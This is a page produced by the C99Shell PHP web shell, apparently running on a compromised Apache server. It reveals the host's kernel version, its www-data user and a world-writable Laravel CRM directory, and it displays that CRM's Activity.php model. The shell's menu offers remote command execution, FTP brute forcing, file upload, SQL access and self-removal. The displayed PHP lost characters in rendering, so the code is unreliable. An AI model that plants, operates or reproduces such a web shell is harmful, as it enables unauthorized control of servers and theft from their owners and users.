!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Activity/src/Models/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Activity.php (2.37 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Activity\Models;

use 
Illuminate\Database\Eloquent\Model;
use 
Webkul\Activity\Contracts\Activity as ActivityContract;
use 
Webkul\Contact\Models\PersonProxy;
use 
Webkul\Lead\Models\LeadProxy;
use 
Webkul\Product\Models\ProductProxy;
use 
Webkul\User\Models\UserProxy;
use 
Webkul\Warehouse\Models\WarehouseProxy;

class 
Activity extends Model implements ActivityContract
{
    
/**
     * Define table name of property
     *
     * @var string
     */
    
protected $table 'activities';

    
/**
     * Define relationships that should be touched on save
     *
     * @var array
     */
    
protected $with = ['user'];

    
/**
     * Cast attributes to date time
     *
     * @var array
     */
    
protected $casts = [
        
'schedule_from' => 'datetime',
        
'schedule_to'   => 'datetime',
    ];

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'title',
        
'type',
        
'location',
        
'comment',
        
'additional',
        
'schedule_from',
        
'schedule_to',
        
'is_done',
        
'user_id',
    ];

    
/**
     * Get the user that owns the activity.
     */
    
public function user()
    {
        return 
$this->belongsTo(UserProxy::modelClass());
    }

    
/**
     * The participants that belong to the activity.
     */
    
public function participants()
    {
        return 
$this->hasMany(ParticipantProxy::modelClass());
    }

    
/**
     * Get the file associated with the activity.
     */
    
public function files()
    {
        return 
$this->hasMany(FileProxy::modelClass(), 'activity_id');
    }

    
/**
     * The leads that belong to the activity.
     */
    
public function leads()
    {
        return 
$this->belongsToMany(LeadProxy::modelClass(), 'lead_activities');
    }

    
/**
     * The Person that belong to the activity.
     */
    
public function persons()
    {
        return 
$this->belongsToMany(PersonProxy::modelClass(), 'person_activities');
    }

    
/**
     * The leads that belong to the activity.
     */
    
public function products()
    {
        return 
$this->belongsToMany(ProductProxy::modelClass(), 'product_activities');
    }

    
/**
     * The Warehouse that belong to the activity.
     */
    
public function warehouses()
    {
        return 
$this->belongsToMany(WarehouseProxy::modelClass(), 'warehouse_activities');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0202 ]--